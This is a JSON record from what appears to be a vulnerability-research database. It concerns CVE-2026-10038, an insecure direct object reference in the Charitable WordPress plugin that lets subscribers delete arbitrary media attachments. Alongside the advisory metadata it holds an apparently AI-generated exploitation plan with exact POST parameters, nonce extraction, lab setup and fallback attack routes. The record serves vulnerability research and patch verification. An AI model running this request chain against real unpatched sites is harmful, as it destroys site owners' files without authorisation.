[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBsUDmbVf-hVc93lqSWIZxfCxdLHBD4Mnk7gIBEKyWU8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":35},"CVE-2026-10038","charitable-authenticated-subscriber-insecure-direct-object-reference-to-arbitrary-attachment-deletion-via-avatar-paramet","Charitable \u003C= 1.8.11.1 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Attachment Deletion via 'avatar' Parameter","The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insecure Direct Object Reference \u002F Authorization Bypass leading to Arbitrary Attachment Deletion in versions up to, and including, 1.8.11.1 via the profile avatar update flow. This is due to the save_avatar() function in Charitable_Profile_Form calling wp_delete_attachment() on an attachment ID read from the user's 'avatar' meta without validating that the attachment is owned by the user, combined with Charitable_Data_Processor::process_picture() returning the raw posted value when no file is uploaded, allowing the 'avatar' user meta to be poisoned with any attacker-chosen attachment ID. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary attachments from the Media Library by performing a two-request chain (first poisoning the stored avatar meta value with a target attachment ID, then triggering deletion via a normal avatar upload).","charitable",null,"\u003C=1.8.11.1","1.8.11.2","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-06-05 10:28:15","2026-06-05 23:28:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F657bea00-9709-48b8-807a-c9a18b0aee1d?source=api-prod",1,[22,23,24,25,26,27],"CHANGELOG.md","charitable.php","includes\u002Fforms\u002Fclass-charitable-profile-form.php","includes\u002Fgateways\u002Fpaypal-commerce\u002Fcharitable-paypal-commerce-hooks.php","includes\u002Fupgrades\u002Fclass-charitable-upgrade.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-10038 (Charitable Arbitrary Attachment Deletion)\n\n## 1. Vulnerability Summary\nThe Charitable plugin for WordPress (versions \u003C= 1.8.11.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in its profile update flow. The vulnerability stems from a two-part failure in logic:\n1. **Meta Poisoning:** The `Charitable_Data_Processor::process_picture()` function (used to handle avatar uploads) incorrectly returns the raw value of the `avatar` POST parameter if no file is actually uploaded. This allows an authenticated user to set their `avatar` user meta to an arbitrary integer (representing an attachment ID).\n2. **Unvalidated Deletion:** When a user subsequently updates their profile with a new avatar, the `Charitable_Profile_Form::save_avatar()` function retrieves the \"old\" attachment ID from the user's meta and calls `wp_delete_attachment()` on it without verifying that the current user owns that attachment.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** The profile form submission handler, typically triggered via a POST request to a page containing the `[charitable_profile]` shortcode or via `admin-ajax.php`\u002F`admin-post.php` if the form redirects there.\n- **Action:** `update_profile` (defined in `Charitable_Profile_Form::$form_action`).\n- **Required Parameter:** `avatar` (the ID or file input), and the nonce `_charitable_user_profile_nonce`.\n- **Authentication:** Authenticated Subscriber-level access or higher.\n- **Preconditions:** The attacker must be able to view the profile form to obtain a valid nonce.\n\n## 3. Code Flow\n1. **Submission:** User submits the profile form (`Charitable_Profile_Form`).\n2. **Processing (Poisoning):**\n   - The form processes input via `Charitable_Data_Processor::process_picture()`.\n   - If a numeric value is passed in the `avatar` parameter and no file is uploaded, the function returns that numeric value.\n   - This value is saved to the user's meta key `avatar` via the `charitable_profile_update_values` filter.\n3. **Deletion (Triggering):**\n   - User submits the profile form again, this time uploading a legitimate image.\n   - `Charitable_Profile_Form::save_avatar()` is triggered.\n   - It retrieves the current value of the `avatar` meta (the poisoned ID).\n   - It calls `wp_delete_attachment( $poisoned_id )`.\n   - Result: The attachment corresponding to `$poisoned_id` is deleted from the server and database.\n\n## 4. Nonce Acquisition Strategy\nThe `Charitable_Profile_Form` uses a nonce for security.\n- **Nonce Name:** `_charitable_user_profile_nonce`\n- **Action String:** `charitable_user_profile`\n\n**Acquisition Steps:**\n1. Create a page with the profile shortcode:\n   `wp post create --post_type=page --post_status=publish --post_content='[charitable_profile]' --post_title='Profile'`\n2. Log in as a Subscriber user.\n3. Use the `browser_navigate` tool to go to the created page.\n4. Use `browser_eval` to extract the nonce from the hidden input field:\n   `browser_eval('document.querySelector(\\'input[name=\"_charitable_user_profile_nonce\"]\\').value')`\n\n## 5. Exploitation Strategy\n\n### Step 1: Meta Poisoning\nSet the user's `avatar` meta to the ID of the target attachment (e.g., Attachment ID `99`).\n\n- **Method:** POST\n- **URL:** `[URL of the page with [charitable_profile]]`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n  - `_charitable_user_profile_nonce`: `[EXTRACTED_NONCE]`\n  - `action`: `update_profile`\n  - `avatar`: `99` (The target attachment ID)\n  - `first_name`: `Attacker` (Required field)\n  - `last_name`: `User` (Required field)\n  - `user_email`: `attacker@example.com` (Required field)\n\n### Step 2: Trigger Deletion\nPerform a multipart\u002Fform-data POST to upload a new avatar. This causes the plugin to \"clean up\" the previous (poisoned) avatar.\n\n- **Method:** POST\n- **URL:** `[URL of the page with [charitable_profile]]`\n- **Headers:** `Content-Type: multipart\u002Fform-data`\n- **Parameters:**\n  - `_charitable_user_profile_nonce`: `[EXTRACTED_NONCE]`\n  - `action`: `update_profile`\n  - `avatar`: `[A legitimate small image file]`\n  - `first_name`: `Attacker`\n  - `last_name`: `User`\n  - `user_email`: `attacker@example.com`\n\n## 6. Test Data Setup\n1. **Admin User:** Create a standard admin.\n2. **Target Attachment:** As Admin, upload an image (e.g., `target.jpg`). Note its ID (e.g., `ID: 10`).\n3. **Subscriber User:** Create a user `victim_subscriber` with the Subscriber role.\n4. **Public Page:** Create a page at `\u002Fprofile\u002F` containing the `[charitable_profile]` shortcode.\n\n## 7. Expected Results\n- After Step 1: The user meta `avatar` for the Subscriber user should be exactly `10`.\n- After Step 2:\n  - The HTTP response should indicate a successful profile update.\n  - The attachment with ID `10` should no longer exist in the WordPress media library.\n  - The file on disk associated with attachment `10` should be deleted.\n\n## 8. Verification Steps\n1. **Check Meta (After Step 1):**\n   `wp user meta get [SUBSCRIBER_ID] avatar`\n   *Expected: 10*\n2. **Check Attachment Existence (After Step 2):**\n   `wp post exists 10`\n   *Expected: No output (or exit code 1)*\n3. **Check Media Library:**\n   `wp post list --post_type=attachment --post__in=10`\n   *Expected: Empty list*\n\n## 9. Alternative Approaches\nIf direct form submission to the page fails, attempt to submit to `admin-post.php`:\n- **URL:** `\u002Fwp-admin\u002Fadmin-post.php`\n- **Body:** Add `charitable_action=update_profile` to the parameters, as some Charitable forms use a custom action router in the `admin-post.php` flow.\n\nIf `process_picture()` rejects raw integers in a standard POST, try a `multipart\u002Fform-data` request where the `avatar` field is a text part containing the ID instead of a file part.","gemini-3-flash-preview","2026-06-26 03:53:30","2026-06-26 03:54:28",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","1.8.11.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.11.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.11.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.11.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.11.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags"]